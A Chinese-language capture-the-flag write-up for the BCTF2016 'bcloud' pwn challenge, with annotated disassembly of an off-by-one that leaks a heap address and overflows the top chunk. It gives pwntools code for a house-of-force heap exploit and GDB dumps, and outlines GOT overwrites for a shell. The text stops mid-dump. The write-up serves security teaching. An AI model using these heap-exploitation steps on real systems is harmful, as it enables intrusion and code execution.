CTF-All-In-One/doc/6.1.23_pwn_bctf2016_bcloud.md
2018-08-05 17:43:10 +08:00

759 lines
37 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6.1.23 pwn BCTF2016 bcloud
- [题目复现](#题目复现)
- [题目解析](#题目解析)
- [漏洞利用](#漏洞利用)
- [参考资料](#参考资料)
[下载文件](../src/writeup/6.1.23_pwn_bctf2016_bcloud)
## 题目复现
```text
$ file bcloud
bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped
$ checksec -f bcloud
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 bcloud
$ strings libc-2.19.so | grep "GNU C"
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.7) stable release version 2.19, by Roland McGrath et al.
Compiled by GNU CC version 4.8.2.
```
32 位程序,开启了 Canary 和 NX默认开启 ASLR。
在 Ubuntu-14.04 上玩一下:
```text
$ ./bcloud
Input your name:
AAAA
Hey AAAA! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
1234
Host:
4321
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
1
Input the length of the note content:
10
Input the content:
BBBB
Create success, the id is 0
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
2
WTF? Something strange happened.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
3
Input the id:
0
Input the new content:
CCCC
Edit success.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
4
Input the id:
0
Delete success.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
5
Syncing...
Synchronization success.
```
典型的堆利用程序,实现了添加、修改、删除的功能,显示功能未实现。另外还有个同步,不知道做什么用。在打印菜单之前,程序读入 name 并打印了出来,这个很有意思,可能是为了信息泄漏故意设置的。
## 题目解析
### init
在 main 函数打印菜单之前,有一个初始化函数 `fcn.0804899c`,这个函数又依次调用了函数 `sub.memset_7a1` 和函数 `sub.memset_84e`
```text
[0x08048590]> pdf @ sub.memset_7a1
/ (fcn) sub.memset_7a1 173
| sub.memset_7a1 ();
| ; var int local_60h @ ebp-0x60
| ; var int local_5ch @ ebp-0x5c
| ; var int local_ch @ ebp-0xc
| ; var int local_4h @ esp+0x4
| ; var int local_8h @ esp+0x8
| ; CALL XREF from 0x080489a2 (fcn.0804899c)
| 0x080487a1 push ebp
| 0x080487a2 mov ebp, esp
| 0x080487a4 sub esp, 0x78 ; 开辟栈空间
| 0x080487a7 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
| 0x080487ad mov dword [local_ch], eax
| 0x080487b0 xor eax, eax
| 0x080487b2 lea eax, [local_5ch] ; eax = local_5ch
| 0x080487b5 add eax, 0x40 ; eax = local_5ch + 0x40
| 0x080487b8 mov dword [local_60h], eax ; [local_60h] = local_5ch + 0x40
| 0x080487bb mov dword [local_8h], 0x50 ; 'P' ; [0x50:4]=-1 ; 80
| 0x080487c3 mov dword [local_4h], 0
| 0x080487cb lea eax, [local_5ch]
| 0x080487ce mov dword [esp], eax
| 0x080487d1 call sym.imp.memset ; memset(local_5ch, 0, 0x50) 初始化内存
| 0x080487d6 mov dword [esp], str.Input_your_name: ; [0x8048e87:4]=0x75706e49 ; "Input your name:"
| 0x080487dd call sym.imp.puts ; int puts(const char *s)
| 0x080487e2 mov dword [local_8h], 0xa
| 0x080487ea mov dword [local_4h], 0x40 ; '@' ; [0x40:4]=-1 ; 64
| 0x080487f2 lea eax, [local_5ch]
| 0x080487f5 mov dword [esp], eax
| 0x080487f8 call sub.read_68d ; read_68d(local_5ch, 0x40, 0xa) 调用函数读入 0x40 个字节 到栈
| 0x080487fd mov dword [esp], 0x40 ; '@' ; [0x40:4]=-1 ; 64
| 0x08048804 call sym.imp.malloc ; malloc(0x40) 分配空间
| 0x08048809 mov edx, eax
| 0x0804880b mov eax, dword [local_60h] ; eax = local_5ch + 0x40
| 0x0804880e mov dword [eax], edx ; 将返回地址放到 [local_5ch + 0x40],该地址位于栈上
| 0x08048810 mov eax, dword [local_60h]
| 0x08048813 mov eax, dword [eax]
| 0x08048815 mov dword [0x804b0cc], eax ; 将返回地址放到 [0x804b0cc],该地址位于 .bss 段
| 0x0804881a mov eax, dword [local_60h]
| 0x0804881d mov eax, dword [eax]
| 0x0804881f lea edx, [local_5ch]
| 0x08048822 mov dword [local_4h], edx
| 0x08048826 mov dword [esp], eax ; [esp] 为返回地址
| 0x08048829 call sym.imp.strcpy ; strcpy([esp], local_5ch) 将读入的字符串复制到分配的空间上
| 0x0804882e mov eax, dword [local_60h]
| 0x08048831 mov eax, dword [eax]
| 0x08048833 mov dword [esp], eax
| 0x08048836 call sub.Hey__s__Welcome_to_BCTF_CLOUD_NOTE_MANAGE_SYSTEM_779 ; 调用函数打印出字符串
| 0x0804883b mov eax, dword [local_ch]
| 0x0804883e xor eax, dword gs:[0x14]
| ,=< 0x08048845 je 0x804884c
| | 0x08048847 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x08048845 (sub.memset_7a1)
| `-> 0x0804884c leave
\ 0x0804884d ret
```
所以该函数所读入的字符串是先放在栈上,然后复制到堆。最后调用一个函数打印出了堆上的字符串。
来看一下读入字符串的函数 `sub.read_68d`
```text
[0x08048590]> pdf @ sub.read_68d
/ (fcn) sub.read_68d 124
| sub.read_68d (int arg_8h, int arg_ch, int arg_10h);
| ; var int local_1ch @ ebp-0x1c
| ; var int local_dh @ ebp-0xd
| ; var int local_ch @ ebp-0xc
| ; arg int arg_8h @ ebp+0x8
| ; arg int arg_ch @ ebp+0xc
| ; arg int arg_10h @ ebp+0x10
| ; var int local_4h @ esp+0x4
| ; var int local_8h @ esp+0x8
| ; XREFS: CALL 0x080487f8 CALL 0x080488d4 CALL 0x080488fe CALL 0x08048737 CALL 0x08048a79 CALL 0x08048b4f
| 0x0804868d push ebp
| 0x0804868e mov ebp, esp
| 0x08048690 sub esp, 0x28 ; '('
| 0x08048693 mov eax, dword [arg_10h] ; 第三个参数
| 0x08048696 mov byte [local_1ch], al ; 通过后面的程序可知这里是换行符 "\x0a"
| 0x08048699 mov dword [local_ch], 0
| 0x080486a0 mov dword [local_ch], 0 ; 循环计数 i初始化为 0
| ,=< 0x080486a7 jmp 0x80486f1
| | ; JMP XREF from 0x080486f7 (sub.read_68d)
| .--> 0x080486a9 mov dword [local_8h], 1
| :| 0x080486b1 lea eax, [local_dh]
| :| 0x080486b4 mov dword [local_4h], eax
| :| 0x080486b8 mov dword [esp], 0
| :| 0x080486bf call sym.imp.read ; read(0, [local_dh], 1) 读入一个字节
| :| 0x080486c4 test eax, eax
| ,===< 0x080486c6 jg 0x80486d4 ; 读入成功时跳转
| |:| 0x080486c8 mov dword [esp], 0xffffffff ; [0xffffffff:4]=-1 ; -1
| |:| 0x080486cf call sym.imp.exit ; exit(-1) 否则退出
| |:| ; JMP XREF from 0x080486c6 (sub.read_68d)
| `---> 0x080486d4 movzx eax, byte [local_dh]
| :| 0x080486d8 cmp al, byte [local_1ch] ; 将读入字节与换行符比较
| ,===< 0x080486db jne 0x80486df ; 不相等时跳转
| ,====< 0x080486dd jmp 0x80486f9 ; 否则退出循环
| ||:| ; JMP XREF from 0x080486db (sub.read_68d)
| |`---> 0x080486df mov edx, dword [local_ch] ; 取出 i
| | :| 0x080486e2 mov eax, dword [arg_8h] ; 第一个参数,即 buf 的位置
| | :| 0x080486e5 add edx, eax ; buf[i]
| | :| 0x080486e7 movzx eax, byte [local_dh]
| | :| 0x080486eb mov byte [edx], al ; 将读入字节放到 buf[i]
| | :| 0x080486ed add dword [local_ch], 1 ; i = i + 1
| | :| ; JMP XREF from 0x080486a7 (sub.read_68d)
| | :`-> 0x080486f1 mov eax, dword [local_ch]
| | : 0x080486f4 cmp eax, dword [arg_ch] ; i 与第二个参数比较
| | `==< 0x080486f7 jl 0x80486a9 ; 小于时循环继续
| | ; JMP XREF from 0x080486dd (sub.read_68d)
| `----> 0x080486f9 mov edx, dword [local_ch]
| 0x080486fc mov eax, dword [arg_8h] ; 取出 buf 的位置
| 0x080486ff add eax, edx ; buf[i]
| 0x08048701 mov byte [eax], 0 ; 将 "\x00" 放到 buf[i]
| 0x08048704 mov eax, dword [local_ch] ; 返回 i
| 0x08048707 leave
\ 0x08048708 ret
```
乍看之下似乎没有问题,在读入字符串末尾也加上了截断 `\x00`
但是,注意观察读入字符串和 malloc 返回地址在栈上的位置关系。字符串其实地址 `local_5ch`,最多 0x40 个字节,返回地址位于 `local_5ch + 0x40`,所以如果我们正好读入 0x40 字节,则 `\x00` 会被放到 `local_5ch + 0x41` 的位置,然后正好被返回地址给覆盖掉了。由于函数 `strcpy()` 是以 `\x00` 来决定字符串结尾的,所以字符串连上返回地址会被一起复制到堆上。然后又被一起打印出来。于是我们就得到了堆地址。
继续看函数 `sub.memset_84e`
```text
[0x08048590]> pdf @ sub.memset_84e
/ (fcn) sub.memset_84e 334
| sub.memset_84e ();
| ; var int local_a8h @ ebp-0xa8
| ; var int local_a4h @ ebp-0xa4
| ; var int local_a0h @ ebp-0xa0
| ; var int local_9ch @ ebp-0x9c
| ; var int local_ch @ ebp-0xc
| ; var int local_4h @ esp+0x4
| ; var int local_8h @ esp+0x8
| ; CALL XREF from 0x080489a7 (fcn.0804899c)
| 0x0804884e push ebp
| 0x0804884f mov ebp, esp
| 0x08048851 sub esp, 0xb8 ; 开辟栈空间
| 0x08048857 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
| 0x0804885d mov dword [local_ch], eax
| 0x08048860 xor eax, eax
| 0x08048862 lea eax, [local_9ch] ; eax = local_9ch
| 0x08048868 add eax, 0x40 ; eax = local_9ch + 0x40
| 0x0804886b mov dword [local_a8h], eax ; [local_a8h] = local_9ch + 0x40
| 0x08048871 lea eax, [local_9ch] ; eax = local_9ch
| 0x08048877 add eax, 0x44 ; eax = local_9ch + 0x44
| 0x0804887a mov dword [local_a4h], eax ; [local_a4h] = local_9ch + 0x44
| 0x08048880 lea eax, [local_9ch] ; eax = local_9ch
| 0x08048886 add eax, 0x88 ; eax = local_9ch + 0x88
| 0x0804888b mov dword [local_a0h], eax ; [local_a0h] = local_9ch + 0x88
| 0x08048891 mov dword [local_8h], 0x90 ; [0x90:4]=-1 ; 144
| 0x08048899 mov dword [local_4h], 0
| 0x080488a1 lea eax, [local_9ch]
| 0x080488a7 mov dword [esp], eax
| 0x080488aa call sym.imp.memset ; memset(local_9ch, 0, 0x90) 初始化内存
| 0x080488af mov dword [esp], str.Org: ; [0x8048e98:4]=0x3a67724f ; "Org:"
| 0x080488b6 call sym.imp.puts ; int puts(const char *s)
| 0x080488bb mov dword [local_8h], 0xa
| 0x080488c3 mov dword [local_4h], 0x40 ; '@' ; [0x40:4]=-1 ; 64
| 0x080488cb lea eax, [local_9ch]
| 0x080488d1 mov dword [esp], eax
| 0x080488d4 call sub.read_68d ; read_68d(local_9ch, 0x40, 0xa) 调用函数读入 Org 到栈
| 0x080488d9 mov dword [esp], str.Host: ; [0x8048e9d:4]=0x74736f48 ; "Host:"
| 0x080488e0 call sym.imp.puts ; int puts(const char *s)
| 0x080488e5 mov dword [local_8h], 0xa
| 0x080488ed mov dword [local_4h], 0x40 ; '@' ; [0x40:4]=-1 ; 64
| 0x080488f5 mov eax, dword [local_a4h]
| 0x080488fb mov dword [esp], eax
| 0x080488fe call sub.read_68d ; read_68d(local_9ch + 0x44, 0x40, 0xa) 调用函数读入 Host 到栈
| 0x08048903 mov dword [esp], 0x40 ; '@' ; [0x40:4]=-1 ; 64
| 0x0804890a call sym.imp.malloc ; addr1 = malloc(0x40) 分配空间
| 0x0804890f mov edx, eax
| 0x08048911 mov eax, dword [local_a0h] ; eax = local_9ch + 0x88
| 0x08048917 mov dword [eax], edx ; 将返回地址 addr1 放到 [local_9ch + 0x88]
| 0x08048919 mov dword [esp], 0x40 ; '@' ; [0x40:4]=-1 ; 64
| 0x08048920 call sym.imp.malloc ; addr2 = malloc(0x40) 分配空间
| 0x08048925 mov edx, eax
| 0x08048927 mov eax, dword [local_a8h] ; eax = local_9ch + 0x40
| 0x0804892d mov dword [eax], edx ; 将返回地址 addr2 放到 [local_9ch + 0x40]
| 0x0804892f mov eax, dword [local_a8h]
| 0x08048935 mov eax, dword [eax]
| 0x08048937 mov dword [0x804b0c8], eax ; 将返回地址 addr2 放到 [0x804b0c8]
| 0x0804893c mov eax, dword [local_a0h]
| 0x08048942 mov eax, dword [eax]
| 0x08048944 mov dword [0x804b148], eax ; 将返回地址 addr1 放到 [0x804b148]
| 0x08048949 mov eax, dword [local_a0h]
| 0x0804894f mov eax, dword [eax]
| 0x08048951 mov edx, dword [local_a4h]
| 0x08048957 mov dword [local_4h], edx
| 0x0804895b mov dword [esp], eax
| 0x0804895e call sym.imp.strcpy ; strcpy(addr1, local_9ch + 0x44) 复制 Host 到 addr1
| 0x08048963 mov eax, dword [local_a8h]
| 0x08048969 mov eax, dword [eax]
| 0x0804896b lea edx, [local_9ch]
| 0x08048971 mov dword [local_4h], edx
| 0x08048975 mov dword [esp], eax
| 0x08048978 call sym.imp.strcpy ; strcpy(addr2, local_9ch) 复制 Org 到 addr2
| 0x0804897d mov dword [esp], str.OKay__Enjoy: ; [0x8048ea3:4]=0x79614b4f ; "OKay! Enjoy:)"
| 0x08048984 call sym.imp.puts ; int puts(const char *s)
| 0x08048989 mov eax, dword [local_ch]
| 0x0804898c xor eax, dword gs:[0x14]
| ,=< 0x08048993 je 0x804899a
| | 0x08048995 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x08048993 (sub.memset_84e)
| `-> 0x0804899a leave
\ 0x0804899b ret
```
同样的Host 的返回地址放在 `local_9ch + 0x88` 的位置,而字符串最多到 `local_9ch + 0x44 + 0x40`,中间还间隔了 0x4 字节,所以不存在漏洞。但是 Org 的返回地址放在 `local_9ch + 0x40`,正好位于字符串的后面,所以存在漏洞。同时 Host 的字符串又正好位于 Org 返回地址的后面,所以 strcpy 会将 Org 字符串,返回地址和 Host 字符串全都复制到 Org 的堆上,造成堆溢出。利用这个堆溢出我们可以修改 top chunk 的 size即 house-of-force。
当然这种漏洞有一定的几率不会成功,比如返回地址的低位本来就是 `\x00` 的时候,就恰好截断了。
### New note
```text
[0x08048590]> pdf @ sub.Input_the_length_of_the_note_content:_9ae
/ (fcn) sub.Input_the_length_of_the_note_content:_9ae 244
| sub.Input_the_length_of_the_note_content:_9ae (int arg_9h, int arg_ah);
| ; var int local_10h @ ebp-0x10
| ; var int local_ch @ ebp-0xc
| ; arg int arg_9h @ ebp+0x9
| ; arg int arg_ah @ ebp+0xa
| ; CALL XREF from 0x08048d11 (main + 144)
| 0x080489ae push ebp
| 0x080489af mov ebp, esp
| 0x080489b1 sub esp, 0x28 ; '('
| 0x080489b4 mov dword [local_ch], 0
| 0x080489bb mov dword [local_10h], 0
| 0x080489c2 mov dword [local_10h], 0 ; 循环计数 i初始化为 0
| ,=< 0x080489c9 jmp 0x80489df
| | ; JMP XREF from 0x080489e3 (sub.Input_the_length_of_the_note_content:_9ae)
| .--> 0x080489cb mov eax, dword [local_10h]
| :| 0x080489ce mov eax, dword [eax*4 + 0x804b120] ; 取出 notes[i]
| :| 0x080489d5 test eax, eax
| ,===< 0x080489d7 jne 0x80489db ; 当 notes[i] 不为 0 时继续循环
| ,====< 0x080489d9 jmp 0x80489e5 ; 否则跳出循环
| ||:| ; JMP XREF from 0x080489d7 (sub.Input_the_length_of_the_note_content:_9ae)
| |`---> 0x080489db add dword [local_10h], 1 ; i = i + 1
| | :| ; JMP XREF from 0x080489c9 (sub.Input_the_length_of_the_note_content:_9ae)
| | :`-> 0x080489df cmp dword [local_10h], 9 ; 最多有 10 个 note
| | `==< 0x080489e3 jle 0x80489cb ; i <= 9 时循环继续
| | ; JMP XREF from 0x080489d9 (sub.Input_the_length_of_the_note_content:_9ae)
| `----> 0x080489e5 cmp dword [local_10h], 0xa ; [0xa:4]=-1 ; 10
| ,=< 0x080489e9 jne 0x80489fc ; i 不等于 10 时跳转
| | 0x080489eb mov dword [esp], str.Lack_of_space._Upgrade_your_account_with_just__100_:
| | 0x080489f2 call sym.imp.puts ; int puts(const char *s)
| ,==< 0x080489f7 jmp 0x8048aa0 ; 否则函数返回
| || ; JMP XREF from 0x080489e9 (sub.Input_the_length_of_the_note_content:_9ae)
| |`-> 0x080489fc mov dword [esp], str.Input_the_length_of_the_note_content: ; [0x8048eec:4]=0x75706e49
| | 0x08048a03 call sym.imp.puts ; int puts(const char *s)
| | 0x08048a08 call sub.atoi_709 ; 调用函数读入 length
| | 0x08048a0d mov dword [local_ch], eax ; 将 length 放到 [local_ch]
| | 0x08048a10 mov eax, dword [local_ch]
| | 0x08048a13 add eax, 4 ; length = length + 4
| | 0x08048a16 mov dword [esp], eax
| | 0x08048a19 call sym.imp.malloc ; malloc(length + 4) 为 note 分配空间
| | 0x08048a1e mov edx, eax
| | 0x08048a20 mov eax, dword [local_10h] ; eax = i
| | 0x08048a23 mov dword [eax*4 + 0x804b120], edx ; 将 note 地址放到 notes[i]
| | 0x08048a2a mov eax, dword [local_10h]
| | 0x08048a2d mov eax, dword [eax*4 + 0x804b120] ; 取出 notes[i]
| | 0x08048a34 test eax, eax
| |,=< 0x08048a36 jne 0x8048a44 ; notes[i] 不为 0 时跳转
| || 0x08048a38 mov dword [esp], 0xffffffff ; [0xffffffff:4]=-1 ; -1
| || 0x08048a3f call sym.imp.exit ; exit(-1) 否则退出程序
| || ; JMP XREF from 0x08048a36 (sub.Input_the_length_of_the_note_content:_9ae)
| |`-> 0x08048a44 mov eax, dword [local_10h]
| | 0x08048a47 mov edx, dword [local_ch]
| | 0x08048a4a mov dword [eax*4 + 0x804b0a0], edx ; lengths[i] = length
| | 0x08048a51 mov dword [esp], str.Input_the_content: ; [0x8048f12:4]=0x75706e49 ; "Input the content:"
| | 0x08048a58 call sym.imp.puts ; int puts(const char *s)
| | 0x08048a5d mov eax, dword [local_10h]
| | 0x08048a60 mov eax, dword [eax*4 + 0x804b120] ; [0x804b120:4]=0
| | 0x08048a67 mov dword [esp + 8], 0xa
| | 0x08048a6f mov edx, dword [local_ch]
| | 0x08048a72 mov dword [esp + 4], edx ; [esp + 4] = length
| | 0x08048a76 mov dword [esp], eax ; [esp] = notes[i]
| | 0x08048a79 call sub.read_68d ; read_68d(notes[i], length, 0xa) 调用函数读入 content
| | 0x08048a7e mov eax, dword [local_10h]
| | 0x08048a81 mov dword [esp + 4], eax
| | 0x08048a85 mov dword [esp], str.Create_success__the_id_is__d ; [0x8048f25:4]=0x61657243 ; "Create success, the id is %d\n"
| | 0x08048a8c call sym.imp.printf ; int printf(const char *format)
| | 0x08048a91 mov eax, dword [local_10h]
| | 0x08048a94 mov dword [eax*4 + 0x804b0e0], 0 ; syns[i] = 0
| | 0x08048a9f nop
| | ; JMP XREF from 0x080489f7 (sub.Input_the_length_of_the_note_content:_9ae)
| `--> 0x08048aa0 leave
\ 0x08048aa1 ret
```
我们可以得到下面的数据结构:
```c
int *lengths[10]; // 0x804b0a0
int *syns[10]; // 0x804b0e0
int *notes[10]; // 0x804b120
```
三个数组都是通过指标 i 来对应的,分别存放 note 地址length 及是否同步。
### Edit note
```text
[0x08048590]> pdf @ sub.Input_the_id:_ab7
/ (fcn) sub.Input_the_id:_ab7 172
| sub.Input_the_id:_ab7 (int arg_9h);
| ; var int local_14h @ ebp-0x14
| ; var int local_10h @ ebp-0x10
| ; var int local_ch @ ebp-0xc
| ; var int local_0h @ ebp-0x0
| ; arg int arg_9h @ ebp+0x9
| ; CALL XREF from 0x08048d1f (main + 158)
| 0x08048ab7 push ebp
| 0x08048ab8 mov ebp, esp
| 0x08048aba sub esp, 0x28 ; '('
| 0x08048abd mov dword [local_14h], 0
| 0x08048ac4 mov dword [esp], str.Input_the_id: ; [0x8048f65:4]=0x75706e49 ; "Input the id:"
| 0x08048acb call sym.imp.puts ; int puts(const char *s)
| 0x08048ad0 call sub.atoi_709 ; int atoi(const char *str)
| 0x08048ad5 mov dword [local_14h], eax ; 读入 i
| 0x08048ad8 cmp dword [local_14h], 0
| ,=< 0x08048adc js 0x8048ae4
| | 0x08048ade cmp dword [local_14h], 9 ; [0x9:4]=-1 ; 9
| ,==< 0x08048ae2 jle 0x8048af2
| || ; JMP XREF from 0x08048adc (sub.Input_the_id:_ab7)
| |`-> 0x08048ae4 mov dword [esp], str.Invalid_ID. ; [0x8048f73:4]=0x61766e49 ; "Invalid ID."
| | 0x08048aeb call sym.imp.puts ; int puts(const char *s)
| |,=< 0x08048af0 jmp 0x8048b61
| || ; JMP XREF from 0x08048ae2 (sub.Input_the_id:_ab7)
| || ; JMP XREF from 0x08048b00 (sub.Input_the_id:_ab7)
| `--> 0x08048af2 mov eax, dword [local_14h] ; 0 <= i <= 9 时,继续
| | 0x08048af5 mov eax, dword [eax*4 + 0x804b120] ; 取出 notes[i]
| | 0x08048afc mov dword [local_10h], eax ; 将 notes[i] 放到 [local_10h]
| | 0x08048aff cmp dword [local_10h], 0
| ,==< 0x08048b03 jne 0x8048b13 ; notes[i] 不为 0 时跳转
| || 0x08048b05 mov dword [esp], str.Note_has_been_deleted. ; [0x8048f7f:4]=0x65746f4e ; "Note has been deleted."
| || 0x08048b0c call sym.imp.puts ; int puts(const char *s)
| ,===< 0x08048b11 jmp 0x8048b61
| |`--> 0x08048b13 mov eax, dword [local_14h]
| | | 0x08048b16 mov eax, dword [eax*4 + 0x804b0a0] ; 取出 lengths[i]
| | | 0x08048b1d mov dword [local_ch], eax ; 将 lengths[i] 放到 [local_ch]
| | | 0x08048b20 mov eax, dword [local_14h]
| | | 0x08048b23 mov dword [eax*4 + 0x804b0e0], 0 ; 将 syns[i] 赋值为 0
| | | 0x08048b2e mov dword [esp], str.Input_the_new_content: ; [0x8048f96:4]=0x75706e49 ; "Input the new content:"
| | | 0x08048b35 call sym.imp.puts ; int puts(const char *s)
| | | 0x08048b3a mov dword [esp + 8], 0xa
| | | 0x08048b42 mov eax, dword [local_ch]
| | | 0x08048b45 mov dword [esp + 4], eax
| | | 0x08048b49 mov eax, dword [local_10h]
| | | 0x08048b4c mov dword [esp], eax
| | | 0x08048b4f call sub.read_68d ; read_68d(notes[i], lengths[i], 0xa) 读入新 content 到原位置,长度不变
| | | 0x08048b54 mov dword [esp], str.Edit_success. ; [0x8048fad:4]=0x74696445 ; "Edit success."
| | | 0x08048b5b call sym.imp.puts ; int puts(const char *s)
| | | 0x08048b60 nop
| | | ; JMP XREF from 0x08048af0 (sub.Input_the_id:_ab7)
| | | ; JMP XREF from 0x08048b11 (sub.Input_the_id:_ab7)
| `-`-> 0x08048b61 leave
\ 0x08048b62 ret
```
该函数在修改 note 时,先将 syns[i] 清空,然后读入 lengths[i] 长度的内容到 notes[i]。
### Delete note
```text
[0x08048590]> pdf @ sub.Input_the_id:_b63
/ (fcn) sub.Input_the_id:_b63 146
| sub.Input_the_id:_b63 (int arg_9h);
| ; var int local_10h @ ebp-0x10
| ; var int local_ch @ ebp-0xc
| ; var int local_0h @ ebp-0x0
| ; arg int arg_9h @ ebp+0x9
| ; CALL XREF from 0x08048d26 (main + 165)
| 0x08048b63 push ebp
| 0x08048b64 mov ebp, esp
| 0x08048b66 sub esp, 0x28 ; '('
| 0x08048b69 mov dword [local_10h], 0
| 0x08048b70 mov dword [esp], str.Input_the_id: ; [0x8048f65:4]=0x75706e49 ; "Input the id:"
| 0x08048b77 call sym.imp.puts ; int puts(const char *s)
| 0x08048b7c call sub.atoi_709 ; int atoi(const char *str)
| 0x08048b81 mov dword [local_10h], eax
| 0x08048b84 cmp dword [local_10h], 0
| ,=< 0x08048b88 js 0x8048b90
| | 0x08048b8a cmp dword [local_10h], 9 ; [0x9:4]=-1 ; 9
| ,==< 0x08048b8e jle 0x8048b9e
| || ; JMP XREF from 0x08048b88 (sub.Input_the_id:_b63)
| |`-> 0x08048b90 mov dword [esp], str.Invalid_ID. ; [0x8048f73:4]=0x61766e49 ; "Invalid ID."
| | 0x08048b97 call sym.imp.puts ; int puts(const char *s)
| |,=< 0x08048b9c jmp 0x8048bf3
| || ; JMP XREF from 0x08048b8e (sub.Input_the_id:_b63)
| `--> 0x08048b9e mov eax, dword [local_10h] ; 0 <= i <= 9 时,继续
| | 0x08048ba1 mov eax, dword [eax*4 + 0x804b120] ; 取出 notes[i]
| | 0x08048ba8 mov dword [local_ch], eax ; 将 notes[i] 放到 [local_ch]
| | 0x08048bab cmp dword [local_ch], 0
| ,==< 0x08048baf jne 0x8048bbf ; notes[i] 不为 0 时跳转
| || 0x08048bb1 mov dword [esp], str.Note_has_been_deleted. ; [0x8048f7f:4]=0x65746f4e ; "Note has been deleted."
| || 0x08048bb8 call sym.imp.puts ; int puts(const char *s)
| ,===< 0x08048bbd jmp 0x8048bf3
| ||| ; JMP XREF from 0x08048baf (sub.Input_the_id:_b63)
| |`--> 0x08048bbf mov eax, dword [local_10h]
| | | 0x08048bc2 mov dword [eax*4 + 0x804b120], 0 ; 将 notes[i] 置 0
| | | 0x08048bcd mov eax, dword [local_10h]
| | | 0x08048bd0 mov dword [eax*4 + 0x804b0a0], 0 ; 将 lengths[i] 置 0
| | | 0x08048bdb mov eax, dword [local_ch]
| | | 0x08048bde mov dword [esp], eax
| | | 0x08048be1 call sym.imp.free ; free([local_ch]),释放 note
| | | 0x08048be6 mov dword [esp], str.Delete_success. ; [0x8048fbb:4]=0x656c6544 ; "Delete success."
| | | 0x08048bed call sym.imp.puts ; int puts(const char *s)
| | | 0x08048bf2 nop
| | | ; JMP XREF from 0x08048b9c (sub.Input_the_id:_b63)
| | | ; JMP XREF from 0x08048bbd (sub.Input_the_id:_b63)
| `-`-> 0x08048bf3 leave
\ 0x08048bf4 ret
```
该函数首先判断 notes[i] 是否存在,如果存在则释放 notes[i] 并将 notes[i] 和 lengths[i] 都置 0。不存在悬指针等漏洞。
至于 Syn 功能,就是将 syns[i] 都置 1对漏洞利用没有影响。
## 漏洞利用
所以这题的利用思路就是 house-of-force步骤如下
- 泄漏 heap 地址
- 利用溢出修改 top chunk 的 size
- 分配一个 chunk将 top chunk 转移到 lengths 数组前面
- 再次分配 chunk即可覆盖 notes并利用 Edit 修改其内容
- 修改 `free@got.plt``puts@got.plt`,泄漏 libc
- 修改 `atoi@got.plt``system@got.plt`,得到 shell
### leak heap
```python
def leak_heap():
global leak
io.sendafter("name:\n", "A" * 0x40)
leak = u32(io.recvuntil('! Welcome', drop=True)[-4:])
log.info("leak heap address: 0x%x" % leak)
```
```text
gdb-peda$ x/17wx 0xffffb834
0xffffb834: 0x41414141 0x41414141 0x41414141 0x41414141 <-- stack
0xffffb844: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffb854: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffb864: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffb874: 0x0804c008 <-- pointer
gdb-peda$ x/19wx 0x0804c008-0x8
0x804c000: 0x00000000 0x00000049 0x41414141 0x41414141 <-- heap
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c040: 0x41414141 0x41414141 0x0804c008 <-- pointer
```
可以看到对指针被复制到了堆中,只要将其打印出来即可。
### house-of-force
```python
def house_of_force():
io.sendafter("Org:\n", "A" * 0x40)
io.sendlineafter("Host:\n", p32(0xffffffff)) # overflow
new((bss_addr - 0x8) - (leak + 0xd0) - 0x8 - 4, 'AAAA') # 0xd0 = top chunk - leak
payload = "A" * 0x80
payload += p32(elf.got['free']) # notes[0]
payload += p32(elf.got['atoi']) * 2 # notes[1], notes[2]
new(0x8c, payload)
```
接下来是 house-of-force通过溢出修改 top chunk 的 size可以在下次 malloc 时将 top chunk 转移到任意地址,之后的 chunk 也将依据转移后的 top chunk 来分配。
溢出:
```text
gdb-peda$ x/22wx 0x804c098-0x8
0x804c090: 0x00000000 0x00000049 0x41414141 0x41414141
0x804c0a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0d0: 0x41414141 0x41414141 0x0804c098 0xffffffff <-- top chunk size
0x804c0e0: 0x00000000 0x00000000
```
转移 top chunk
```text
gdb-peda$ x/22wx 0x804c098-0x8
0x804c090: 0x00000000 0x00000049 0x41414141 0x41414141
0x804c0a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0d0: 0x41414141 0x41414141 0x0804c098 0xffffefc1 <-- notes[0] chunk
0x804c0e0: 0x00000000 0x00000000
gdb-peda$ p 0x804c0d8 + 0xffffefc0
$1 = 0x804b098
gdb-peda$ x/40wx 0x804b098
0x804b098: 0x00000000 0x00001039 0xffffefb4 0x00000000 <-- top chunk
0x804b0a8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0b8: 0x00000000 0x00000000 0x00000000 0x00000000
